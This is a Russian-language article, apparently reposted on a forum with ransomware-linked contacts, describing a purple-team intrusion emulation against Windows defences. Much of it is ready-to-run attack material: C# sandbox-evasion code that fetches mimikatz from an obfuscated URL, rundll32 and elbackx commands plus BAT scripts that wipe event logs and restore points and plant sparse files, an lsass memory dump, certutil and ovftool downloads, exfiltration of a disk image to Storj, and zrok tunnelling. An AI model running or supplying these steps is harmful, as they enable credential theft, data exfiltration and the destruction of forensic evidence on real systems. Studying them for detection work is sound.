• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пробуем перехитрить защитные средства для Windows

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,409
Розыгрыши
0
Реакции
732
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В начале этого года мы провели киберучения в формате Purple Teaming в одной из крупных компаний. Основная цель — пронаблюдать, как работают и люди, и средства защиты в реальных условиях. В этой статье я сделаю фокус именно на средствах защиты: посмотрим, в каких случаях они реально спасают и с чем могут не справиться.
Это исследование получило второе место на Для просмотра ссылки Войди или Зарегистрируйся в категории «Раз bypass, два bypass». Соревнование ежегодно проводится компанией Awillix.
Кратко о том, что делали и зачем.


Среда: Windows основной ИТ‑инфраструктуры организации.

Сценарии атак:

  • фишинговая рассылка (в этой статье мы ее рассматривать не будем);
  • проникновение через компанию‑подрядчика — вот про это и весь наш разбор.
Условия тестирования:

  • выделенная локальная учетка с правами администратора на устройстве;
  • VPN-доступ в инфраструктуру;
  • непривилегированная доменная учетка в Active Directory.
Дополнительные запросы клиента:

  • отдельно проверить работу песочницы в почтовом шлюзе;
  • при эмуляции использовать контркриминалистические (anti-forensic) приемы;
  • расширить сценарий, добавив к TTP реальных группировок новые техники и инструменты, — чтобы усложнить задачу и реально проверить экспертизу сотрудников.

Как определить, что мы в песочнице​

Для детектирования и обхода сендбоксов мы использовали техники, опубликованные в нашем (совместно с другим спикером) докладе «Для просмотра ссылки Войди или Зарегистрируйся» на конференции PHDays 2024. Эти техники основаны на анализе артефактов и журналов Windows.

Мы использовали лишь часть перечисленных в докладе техник. Давай посмотрим, какие моменты позволяют определить, что мы работаем в песочнице.


Редко блокируется рабочий стол​

Блокировка и разблокировка экрана рабочего стола — очень редкие события в песочнице.

Источник — события с идентификатором 812 журнала Microsoft-Windows-Winlogon%4Operational.evtx. Нас интересуют только события с вхождением <TermSrv>, которые генерируются при блокировке и разблокировке экрана рабочей станции.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Большой аптайм​

Временные промежутки безостановочной работы (uptime) рабочей станции сотрудника значительно дольше, чем у виртуальной машины песочницы.

Источник — события с идентификатором 6013 журнала System.evtx — время работы системы в секундах. Дополнительно можно учитывать следующие события из того же журнала для более точного подсчета времени работы системы:

  • 6005 — запуск службы «Журнал событий Windows» (Event Log), указывает на включение системы;
  • 6006 — остановка службы «Журнал событий Windows» (Event Log). Указывает на выключение системы.
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Незаметна работа​

Если пользователь не работает с офисными документами, значит, высок шанс, что мы в песочнице.

Первый источник — разрешение пользователя на редактирование документов и запуск макросов в офисных документах.

Пользовательский реестр NTUSER.dat:

HKU\\Software\Microsoft\Office\\*\Security\Trusted Documents\TrustRecords
Искать нужно временную метку, указывающую на то, когда пользователь давал разрешение на определенное действие (Enable Editing, Enable Content / Enable Macros), а также учитывать общее количество документов.

Второй источник — событие с идентификатором 300 из журнала Windows OAlerts.evtx. Оно генерируется, например, при появлении запроса на сохранение документа Office (Excel, Word и так далее). В данном случае нас интересует количество таких записей, а также временная метка создания последнего события в журнале.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Не используется панель задач​

Пользуясь рабочей машиной, сотрудник будет активно взаимодействовать с панелью задач Windows: нажимать на кнопку «Пуск», поле поиска (TrayButtonClicked), переключаться с одного приложения на другое (AppSwitched), запускать программы, прикрепленные к панели задач (AppLaunch).

Windows также отслеживает обновление значков приложений на панели задач (AppBadgeUpdated) и нажатие правой кнопки мыши по приложению на панели задач (ShowJumpView).

Источник — пользовательский реестр NTUSER.dat:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage

Примеры детекта​

Вот код на C#, который использует признак аптайма системы для определения песочницы (то есть один из перечисленных признаков, тогда как в реальности мы использовали все четыре):

Код:
using System;
using System.Collections.Generic;
using System.Diagnostics.Eventing.Reader;
using System.IO;
using System.Net.Http;
using System.Text.RegularExpressions;
using System.Threading.Tasks;

class Program
{
    public struct UptimeEntry
    {
        public DateTime TimeCreated;
        public int UptimeInSeconds;
    }

    static async Task Main()
    {
        List<UptimeEntry> uptimeEntries = new List<UptimeEntry>();

        string query = "*[System/EventID=6013]";
        var logQuery = new EventLogQuery("System", PathType.LogName, query);
        logQuery.ReverseDirection = false;

        var logReader = new EventLogReader(logQuery);
        EventRecord record;

        while ((record = logReader.ReadEvent()) != null)
        {
            try
            {
                DateTime? timeCreated = record.TimeCreated;
                string message = record.FormatDescription();

                if (!string.IsNullOrEmpty(message))
                {
                    int uptime = ParseUptimeFromMessage(message);
                    if (uptime >= 0)
                    {
                        uptimeEntries.Add(new UptimeEntry
                        {
                            TimeCreated = timeCreated ?? DateTime.MinValue,
                            UptimeInSeconds = uptime
                        });
                    }
                }

                record.Dispose();
            }
            catch (Exception ex)
            {
                Console.WriteLine("Ошибка: " + ex.Message);
            }
        }

        List<int> filtered = ApplyCorrectedBufferAlgorithm(uptimeEntries);

        foreach (var val in filtered)
        {
            Console.WriteLine(val);
        }

        int countGreaterThan = 0;
        foreach (var val in filtered)
        {
            if (val > 43200)
                countGreaterThan++;
        }

        if (countGreaterThan > 3)
        {
            string url = "ht" + "tp" + "s:/" + "/git" + "hub" + ".com/" + "ge" + "nt" + "ilki" + "wi/mi" + "mik" + "atz/" + "releases" + "/download/2" + ".2.0-20220919/m" + "imi" + "katz" + "_tr" + "unk.7z";
            string publicDir = Environment.ExpandEnvironmentVariables(@"%Public%\Music");
            string targetPath = Path.Combine(publicDir, "mi" + "mi" + "ka" + "tz_" + "tr" + "unk.7z");

            try
            {
                Directory.CreateDirectory(publicDir);

                using (var httpClient = new HttpClient())
                {
                    byte[] fileBytes = await httpClient.GetByteArrayAsync(url);
                    File.WriteAllBytes(targetPath, fileBytes);
                }

            }
            catch (Exception ex)
            {
                Console.WriteLine("Ошибка при загрузке файла: " + ex.Message);
            }
        }
    }

    static int ParseUptimeFromMessage(string message)
    {
        var matchEn = Regex.Match(message, @"uptime\sis\s(\d+)\sseconds");
        if (matchEn.Success)
            return int.Parse(matchEn.Groups[1].Value);

        var matchRu = Regex.Match(message, @"работоспособного\sсостояния\s(\d+)\sсек");
        if (matchRu.Success)
            return int.Parse(matchRu.Groups[1].Value);

        return -1;
    }

    static List<int> ApplyCorrectedBufferAlgorithm(List<UptimeEntry> entries)
    {
        List<int> result = new List<int>();
        if (entries.Count == 0) return result;
        if (entries.Count == 1)
        {
            result.Add(entries[0].UptimeInSeconds);
            return result;
        }

        int buffer = entries[0].UptimeInSeconds;

        for (int i = 1; i < entries.Count; i++)
        {
            int current = entries.UptimeInSeconds;

            if (current > buffer)
            {
                buffer = current;
            }
            else
            {
                result.Add(buffer);
                buffer = current;

                if (i == entries.Count - 1)
                {
                    result.Add(current);
                }
            }
        }

        if (result.Count == 0 || result[result.Count - 1] != buffer)
        {
            result.Add(buffer);
        }

        return result;
    }
}

Если скрипт определит, что программа запущена на компьютере сотрудника, то скачивается архив mimikatz по ссылке:

Для просмотра ссылки Войди или ЗарегистрируйсяЕсли же мы в песочнице, программа завершится.

Для просмотра ссылки Войди или Зарегистрируйся


Затруднение криминалистики​



Sysprep​

Утилита Sysprep (System Preparation Tool) предназначена для подготовки устройства к снятию образа Windows, но в ее библиотеках есть функции, которыми можно воспользоваться для удаления криминалистических артефактов и отсоединения хоста от Active Directory.

Описанные ниже команды отсутствуют в известных репозиториях, содержащих детектирующие правила (например, Sigma, Elasticsearch и Splunk). Следовательно, есть вероятность того, что решения класса EDR и SIEM не пометят эти команды как подозрительные.


www​

Подробнее об эксплуатируемых функциях ты можешь узнать из доклада «Для просмотра ссылки Войди или Зарегистрируйся».
Давай посмотрим на пример каждой такой команды и разберем возможности, которые она дает атакующему. Мы тестировали всё на Windows 10 от имени привилегированной учетной записи.


Поиск Windows​

rundll32.exe mssrch.dll,MSSrch_SysPrep_Cleanup
rundll32.exe mssrch.dll,#22
  • Происходит остановка или отключение службы WSearch.
  • Удаляется содержимое каталога %ProgramData%.\Microsoft\Search\Data\Applications\Windows и самого каталога.
  • Удаляются некоторые подразделы из HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search.

Prefetch​

rundll32.exe sysmain.dll,PfSvSysprepCleanup
rundll32.exe sysmain.dll,#14

    • Останавливается служба SysMain.
    • Удаляются файлы из каталогов %WINDIR%\Prefetch и %WINDIR%\Prefetch\ReadyBoot.

WER​

Код:
rundll32.exe wer.dll,WerSysprepCleanup
rundll32.exe wer.dll,#1

Удаляются файлы и папки из каталога %ALLUSERSPROFILE%\Microsoft\Windows\WER.


EVTX​

Код:
rundll32.exe wevtapi.dll,EvtIntSysprepCleanup
rundll32.exe wevtapi.dll,#1

Происходит очистка журналов событий: System, Application, Security, Setup.


Точки восстановления​

Код:
rundll32.exe srclient.dll,SysprepCleanup
rundll32.exe srclient.dll,#1

Удаляются все точки восстановления Windows.


Корзина и профиль​

Код:
rundll32.exe shsetup.dll,Sysprep_Cleanup_Shell
rundll32.exe shsetup.dll,#4

Функция SHEmptyRecycleBinW удаляет файлы из корзины. В данном случае удаляется содержимое корзины со всех дисков.

Происходит очистка ключей (у всех пользователей):

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Выполняется удаление файлов из каталогов, указанных в значениях следующих параметров (у всех пользователей):

Код:
HKCU\Environment\TEMP
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Recent

Отсоединение от домена​

Код:
rundll32.exe spnet.dll,Sysprep_Clean_Net
rundll32.exe spnet.dll,#1

Происходит вывод хоста из домена Active Directory.


www​

Подробности Для просмотра ссылки Войди или Зарегистрируйся.

RecentDocs + Recent​

Функция _CleanRecentDocs в библиотеке windows.storage.dll Для просмотра ссылки Войди или Зарегистрируйся очистить информацию о файлах и каталогах, с которыми взаимодействовал пользователь. Ее тоже можно использовать для заметания следов.

Код:
rundll32.exe windows.storage.dll,_CleanRecentDocs
rundll32.exe windows.storage.dll,#233

Здесь происходит:


    • очистка ключа реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs;
    • удаление файлов LNK из каталога %AppData%\Microsoft\Windows\Recent.


Event Log Explorer​

В состав инструмента Для просмотра ссылки Войди или Зарегистрируйся, широко применяемого DFIR-специалистами для анализа событий Windows, входит утилита elbackx. С ее помощью можно очистить все журналы событий Windows на рабочей станции или сервере, Для просмотра ссылки Войди или Зарегистрируйся при запуске определенные аргументы:

elbackx.exe /Nobackup "*" /Clear
Публичной информации об использовании этой утилиты в реальных кибератаках мы не нашли.



Разреженные файлы​

Разреженные файлы (sparse files) — это такие файлы, которые занимают меньше дискового пространства, чем их собственный размер. Чтобы это было возможно, в файле высвобождаются области, занятые одними лишь нулями (0x00). Приложение, читающее разреженный файл, дойдя до области с нулями, получит нужное количество нулей, но реального чтения с диска не произойдет. Такая возможность поддерживается в том числе в NTFS.

Злоумышленник может создать разреженные файлы в тех каталогах, где находятся необходимые для DFIR-специалиста криминалистические артефакты, с целью затруднить распаковку и анализ данных.

Для просмотра ссылки Войди или Зарегистрируйся
При добавлении разреженного файла в архив флаг sparse не учитывается, и файл будет скопирован полностью. Следовательно, это повлияет на размер архива и время его упаковки или распаковки (пример можешь посмотреть на 24-м слайде моей Для просмотра ссылки Войди или Зарегистрируйся).



Скрипты​

Ниже — BAT-сценарий для создания пустых разреженных файлов размером ~1 Гбайт в каталоге %AppData%\Microsoft\Windows\PowerShell\PSReadline, который мы использовали в эмуляции кибератаки.

Код:
@echo off
setlocal enabledelayedexpansion

set "targetDir=%AppData%\Microsoft\Windows\PowerShell\PSReadline"
set /a size=1000000000

for /l %%i in (1,1,20) do (
    if not exist "%targetDir%" (
        exit /b
    )

    set "filename=ConsoleHost_%%i_history.txt"
    set /a currentSize=!size! + %%i - 1
    pushd "%targetDir%"

    fsutil file createnew "!filename!" !currentSize!
    fsutil sparse setflag "!filename!"
    fsutil sparse setrange "!filename!" 0 !currentSize!

    popd
)
endlocal
А вот скриптик для удаления криминалистических артефактов:

@echo off
setlocal enabledelayedexpansion

rundll32.exe mssrch.dll,MSSrch_SysPrep_Cleanup
rundll32.exe srclient.dll,SysprepCleanup
rundll32.exe wer.dll,WerSysprepCleanup
rundll32.exe shsetup.dll,Sysprep_Cleanup_Shell
elbackx.exe /Nobackup "*" /Clear
rundll32.exe sysmain.dll,PfSvSysprepCleanup

endlocal


Эмуляция кибератаки​

Одной из наших задач было протестировать защитные системы при помощи инструментов, которые еще не встречались в реальных атаках либо используются крайне редко. В связи с этим для большинства из них нет правил детектирования в популярных средствах защиты.

Способ использования FTK Imager с позиции «красной команды» я описывал в своем докладе Для просмотра ссылки Войди или Зарегистрируйся.

Давай пройдемся по техникам, которые мы тестировали (они обозначены в соответствии с матрицей MITRE ATT&CK).



Remote Services: Remote Desktop Protocol (T1021.001)​

Суть: подключение к рабочей станции <HOST1> сотрудника по протоколу RDP от имени непривилегированной доменной учетки <DOMAIN>\<USER1>.

Для просмотра ссылки Войди или Зарегистрируйся


Software Discovery (T1518)​

Суть: получение списка установленного на рабочем компьютере софта с помощью командлета Get-WmiObject интерпретатора PowerShell.

Команда:

Get-WmiObject -Class Win32_Product | Select-Object -Property Name, Version, Vendor, InstallDate
Для просмотра ссылки Войди или Зарегистрируйся
Установленная версия Cisco AnyConnect Secure Mobility Client (4.10.04065) на рабочей станции <HOST1> оказалась уязвимой к Для просмотра ссылки Войди или Зарегистрируйся (LPE).

В состав SSH-клиента Bitvise SSH Client входит утилита BvDump, с помощью которой Для просмотра ссылки Войди или Зарегистрируйся создать дамп памяти активного процесса в Windows. В открытых источниках нет упоминаний о применении этой программы в реальных атаках.

Пример команды для дампа процесса lsass при помощи BvDump:

BvDump64.exe -image=lsass.exe -type=full -dir=C:\Users\Public\Desktop


Exploitation for Privilege Escalation (T1068)​

Суть: эксплуатация LPE-уязвимости в Cisco AnyConnect Secure Mobility, установленного на рабочей станции <HOST1>.

Мы использовали Для просмотра ссылки Войди или Зарегистрируйся для Для просмотра ссылки Войди или Зарегистрируйся. Имя исполняемого файла, содержащего эксплоит: Project5.exe.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся


Ingress Tool Transfer (T1105)​

Суть: доставка на рабочую станцию <HOST1> архива FTK_Imager_4.7.1.zip, содержащего инструмент FTK Imager, через эксплуатацию механизмов кеширования веб‑браузера.


www​

Подробнее об этой технике — в Для просмотра ссылки Войди или Зарегистрируйся специалиста из Orange Cyberdefense.
Чтобы этот архив был сохранен в кеше браузера, необходимо перейти по веб‑ссылке Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Скрипт на PowerShell для копирования файла из кеша Firefox в %PUBLIC%\Documents\FTK.zip:

foreach ($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries")){gci $f -r -ErrorAction SilentlyContinue|%{if(Select-String -Pattern "THISZIP" -Path $.FullName){Write-Output $.FullName;Copy-Item -Path $_.FullName -Destination "$env:pUBLIC\Documents\FTK.zip";break;}}}


OS Credential Dumping​

Суть: создание с помощью инструмента FTK Imager выборочного образа (AD1), содержащего файлы реестра (SAM, SECURITY, SYSTEM, SOFTWARE) и дампа оперативной памяти на хосте <HOST1> в каталоге %Public%\Documents.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся


Ingress Tool Transfer (T1105)​

Суть: скачивание с помощью нативной утилиты certutil инструмента uplink для взаимодействия с децентрализованным облачным хранилищем Для просмотра ссылки Войди или Зарегистрируйся на хост <HOST1>.

Исходная команда:

certutil.exe -f -urlcache -split Для просмотра ссылки Войди или Зарегистрируйся
Этот однострочник я дополнительно обфусцировал с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся


Exfiltration Over Web Service Exfiltration to Cloud Storage (T1567.002)​

Суть: загрузка выборочного образа Proposal_Work.ad1 с рабочей станции <HOST1> на децентрализованное облачное хранилище Storj с помощью инструмента uplink.

Команды (импортирование access-токена и копирование файла Proposal_Work.ad1 в облачное хранилище Storj):

Код:
uplink.exe access import main <REDACTED>iRUq6p7itNmps7Z3EDdXeU9x2trkkvwM4D4xa5SDdt3nKMbwZqm8bWKo4t1TEJ5FyrBMpWvK3BXuKVKL4ruLPRXz84tWAibsxNqu4hDptVxTysJuBBsBfog7mpgnc4sLC7rGsoCD13iKYZAxRgr4m3J33nNXnoh5yvTyok2PQFJVyraqYTSAvxxHRAgoG9uRKkju4mq7cPXhDw5w7hpXSM5xN4LGQekrNC9dknAE3okSbk5K1PYGVnTnFFzze

uplink.exe cp Proposal_Work.ad1 sj://purplework
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся


Ingress Tool Transfer (T1105)​

Суть: скачивание ISO-образа, содержащего Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся, на рабочую станцию <HOST1> — выполнено с помощью инструмента ovftool, используемого для работы с виртуальными машинами в формате OVF/OVA.

Инструмент ovftool мы загрузили с указанного Для просмотра ссылки Войди или Зарегистрируйся через браузер.

Команда:

ovftool.exe -st="ISO" [URL]http://multlfactor.ru/AdminHelpDesk.iso[/URL] %Public%\meme.iso
Для просмотра ссылки Войди или Зарегистрируйся


Create or Modify System Process: Systemd Service (T1543.002)​

Для организации сетевого туннелирования используется утилита zrok (аналог Ngrok, Localtonet). Управление запуском, правами, зависимостями и восстановлением ее работы осуществляется через программу DaemonMaster (аналог NSSM), которая регистрируется в системе как служба.

Команда для zrok:

Код:
zrok.exe enable <ACCOUNT_TOKEN>
zrok.exe share private -b socks --headless

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Это позволяет скрыть выполняемую команду в событии создания службы в журналах Windows и тем самым потенциально обойти детектирование со стороны SOC.



Defense Evasion (TA0005)​

Суть: запускаем приготовленный ранее BAT-скрипт для создания разреженных файлов.

Для просмотра ссылки Войди или Зарегистрируйся
Создаем пустые разреженные файлы размером ~1 Гбайт в каталоге %AppData%\Microsoft\Windows\PowerShell\PSReadline.

Для просмотра ссылки Войди или Зарегистрируйся
Результат выполнения команды: elbackx.exe /Nobackup "*" /Clear.



Выводы​

Итак, мы смоделировали проникновение через подрядчика и отработали широкий набор TTP: от определения песочниц и обхода сендбоксов до доставки инструментов через кеш браузера и эксплуатации локальных LPE (Cisco AnyConnect). Также мы применили разные средства затруднения криминалистического анализа: через Sysprep-вызовы и сторонние инструменты. Важная часть эксперимента — не просто запустить атаки, а увидеть, какие средства защиты реально сработают.
 
Activity
So far there's no one here